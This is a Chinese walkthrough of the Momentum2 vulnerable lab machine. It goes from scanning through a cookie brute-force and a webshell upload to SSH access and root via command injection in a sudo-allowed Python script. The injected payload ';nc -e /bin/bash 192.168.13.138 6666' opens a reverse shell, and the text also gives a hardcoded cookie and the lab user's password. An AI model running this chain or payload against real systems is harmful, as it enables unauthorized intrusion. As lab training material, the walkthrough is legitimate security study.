Momentum靶机系列Momentum2

先进行arp扫描:

获得渗透靶机的IP:192.168.13.142

扫描一下靶机的使用的端口:

具有tcp端口和http服务的80端口

可以扫描一下80端口的http服务:

可以发现一个网站:http://192.168.13.142

打开该网址:

查看一下源代码:

没有什么可以看的东西

那就尝试一下进行网站域名的扫描:

可以看到:

18:20:09\] 200 - 0B - /ajax.php \[18:20:13\] 200 - 513B - /dashboard.html \[18:20:16\] 200 - 1KB - /index.html \[18:20:16\] 200 - 930B - /js/ \[18:20:18\] 200 - 626B - /manual/index.html 这几个存在内容: 尝试查看js的域名: ![](https://file.jishuzhan.net/article/1788090250422128641/57e1bf34befa88448c14084f35559a3d.webp) js下存在一串js代码(进行解释): function uploadFile() { //获得文件: var files = document.getElementById("file").files; if(files.length \> 0 ){ //用于创建表单数据对象 var formData = new FormData(); formData.append("file", files\[0\]); //formData.append() 是 FormData 对象提供的方法,用于向表单数据对象中添加字段和值 var xhttp = new XMLHttpRequest(); //XMLHttpRequest 对象提供了在客户端通过 HTTP 协议与服务器进行交互的功能 // Set POST method and ajax file path xhttp.open("POST", "ajax.php", true); //使用 open() 方法设置请求的类型为 POST,URL 为 "ajax.php",并指定使用异步方式发送请求(第三个参数为 true) //异步方式意味着 JavaScript 在发送请求后会立即继续执行后续的代码,而不必等待服务器响应 // call on request changes state xhttp.onreadystatechange = function() { if (this.readyState == 4 \&\& this.status == 200) { var response = this.responseText; if(response == 1){ alert("Upload successfully."); }else{ alert("File not uploaded."); } } }; // Send request with data xhttp.send(formData); }else{ alert("Please select a file"); } } 简单来说就是,存在文件上传,上传的文件会添加到表单文件中 而且要想上传文件后就需要进行这串代码的过滤 xhttp.onreadystatechange = function() { if (this.readyState == 4 \&\& this.status == 200) { var response = this.responseText; if(response == 1){ alert("Upload successfully."); }else{ alert("File not uploaded."); } } } 当http请求返回为1时可以上传文件,这样就可以上传一个木马来获得权限 其中http请求来自ajax.php的请求,那么就存在ajax.php和文件上传点: 找到文件上传点: /dashboard.html ![](https://file.jishuzhan.net/article/1788090250422128641/2ea8a12b626c985fce7f0b4373c5ade7.webp) 可以尝试上传一个php试试看: ![](https://file.jishuzhan.net/article/1788090250422128641/1fbfded1a2ea7d1d642e0718d438abe1.webp) 不能上传 那就可以看一下ajax.php的内容: ![](https://file.jishuzhan.net/article/1788090250422128641/b8ef63d1285cf2f633129e15df47a013.webp) 没有东西,尴尬了 看来是没有显示,查看资料后获得,存在备份文件: [http://192.168.13.142/ajax.php.bak](http://192.168.13.142/ajax.php.bak "http://192.168.13.142/ajax.php.bak") 获得备份文件: ![](https://file.jishuzhan.net/article/1788090250422128641/ccfc91248c57128c0fa299f8e29055eb.webp) 打开看看: 获得文件内容: ![](https://file.jishuzhan.net/article/1788090250422128641/8c1cab3019e34ccfc53fe567474f2d35.webp) //The boss told me to add one more Upper Case letter at the end of the cookie //老板让我在饼干的末尾再添加一个大写字母 if(isset($_COOKIE\['admin'\]) \&\& $_COOKIE\['admin'\] == '\&G6u@B6uDXMq\&Ms'){ //\[+\] Add if $_POST\['secure'\] == 'val1d' $valid_ext = array("pdf","php","txt"); } else{ $valid_ext = array("txt"); } // Remember success upload returns 1 //记住成功上传返回 1 可以看到需要一个cookie :名为admin 值为:\&G6u@B6uDXMq\&Ms+大写字母 然后还需要获得一个post传参的secure其值为valu1d 可以尝试获得一个爆破的密码本: 使用 crunch来自己创建一个密码本: crunch 11 -t ,\>\>pass.txt ![](https://file.jishuzhan.net/article/1788090250422128641/d4a257fd93fa3da71e85f3880953903c.webp) ![](https://file.jishuzhan.net/article/1788090250422128641/0d007bc8d0ccdc216983792c36380e28.webp) 现在就可以抓住文件上传的网页: ![](https://file.jishuzhan.net/article/1788090250422128641/ba5deeb5213a0361e0cc1d0ae782b4ed.webp) 上传上我们需要的条件: ![](https://file.jishuzhan.net/article/1788090250422128641/a2f1c76b900568f440c1eb937adce0c6.webp) 将其发送到爆破:在cookie的地方添加一个爆破点: Cookie: admin=%26G6u%40B6uDXMq%26Ms§A§ 添加爆破字典,然后开始爆破: ![](https://file.jishuzhan.net/article/1788090250422128641/b9068620d2a8ba028f80d03e12195e3b.webp) 文件包的大小差不多需要一个一个的看: ![](https://file.jishuzhan.net/article/1788090250422128641/3d66ce9d8ac3f9cd9a7eb53e625cc450.webp) 看到反应包R的返回了1,所以,当为R是就可以上传一个php文件: ![](https://file.jishuzhan.net/article/1788090250422128641/0e7770ecc5e9b008a9895c68648e685c.webp) 将这个包返回: php文件内容为一句话木马: \ 上传成功: ![](https://file.jishuzhan.net/article/1788090250422128641/df9166e7d1adc516fde3730e73e71483.webp) 在owls下存在我们上传的文件: ![](https://file.jishuzhan.net/article/1788090250422128641/76f9ce263ca861ab76c9398e7604f656.webp) 打开蚁剑: ![](https://file.jishuzhan.net/article/1788090250422128641/f3416e6c002943f24628d0515244bbd2.webp) 进行连接 ![](https://file.jishuzhan.net/article/1788090250422128641/26d3e0e99298256d377d35272750b31c.webp) 连接成功: 开启一个终端进行监听: ![](https://file.jishuzhan.net/article/1788090250422128641/e016b4c61126af4442bd49482e1ba369.webp) 然后进行shell交互: python -c "import pty;pty.spawn('/bin/bash')" ![](https://file.jishuzhan.net/article/1788090250422128641/04bdf8c515ffd3cd76ae596ca9fb358e.webp) 交互成功:查看权限: ![](https://file.jishuzhan.net/article/1788090250422128641/7eaad0df637f7c50749202d867d5d2d1.webp) 不是root的用户: 找到home下有一个用户而且还有用户的密码: ![](https://file.jishuzhan.net/article/1788090250422128641/d46c502346b29bd4db3d7f63548f26b0.webp) 可以看到用户:athena和密码:myvulnerableapp\[Asterisk

因为还有ssh的没有使用,尝试登录:ssh

what?密码错了吗?

查看别人的资料发现:

密码后面的[Asterisk]而是一个*

再次尝试一下:

登陆上去了

查看一下当前用户具有的权限sudo -l

发现:/usr/bin/python3 /home/team-tasks/cookie-gen.py这个py脚本具有root脚本:

cat一下这个脚本:

import random

import os

import subprocess

print('~ Random Cookie Generation ~')

print('[!] for security reasons we keep logs about cookie seeds.')

chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'

seed = input("Enter the seed : ")

random.seed = seed

cookie = ''

for c in range(20):

cookie += random.choice(chars)

print(cookie)

cmd = "echo %s >> log.txt" % seed

subprocess.Popen(cmd, shell=True)

分析一下:

import random

import os

import subprocess

print('~ Random Cookie Generation ~')

print('[!] for security reasons we keep logs about cookie seeds.')

chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'

seed = input("Enter the seed : ")

#输入一个那种子(就是一串字符)

random.seed = seed

#没什么用

cookie = ''

for c in range(20):

cookie += random.choice(chars)

print(cookie)

cmd = "echo %s >> log.txt " % seed

#将seed的结果输入到log.txt中

subprocess.Popen(cmd, shell=True)#然后将cmd中的命令当作shell脚本执行

所以只需要上传一个监听代码就可以进行对靶机的监听,而且还获得了root权限:所以运行该脚本,并输入;nc -e /bin/bash 192.168.13.138 6666

开启一个新的终端:

监听成功:进行交互,交互成功后获得root权限

相关推荐
小红卒3 小时前
upload-labs靶场通关详解:第21关 数组绕过
web安全·网络安全·文件上传漏洞
l1x1n05 小时前
Vim 编辑器常用操作详解(新手快速上手指南)
linux·编辑器·vim
ajassi20006 小时前
开源 python 应用 开发(三)python语法介绍
linux·python·开源·自动化
o不ok!6 小时前
Linux面试问题-软件测试
linux·运维·服务器
DaxiaLeeSuper6 小时前
Prometheus+Grafana+node_exporter监控linux服务器资源的方案
linux·grafana·prometheus
尽兴-7 小时前
如何将多个.sql文件合并成一个:Windows和Linux/Mac详细指南
linux·数据库·windows·sql·macos
kfepiza7 小时前
Netplan 中 bridges、bonds、ethernets、vlans 之间的关系 笔记250711
linux·tcp/ip·shell
饶了我吧,放了我吧8 小时前
计算机网络实验——无线局域网安全实验
计算机网络·安全·web安全
小小不董8 小时前
深入理解oracle ADG和RAC
linux·服务器·数据库·oracle·dba
kp000008 小时前
GitHub信息收集
web安全·网络安全·信息收集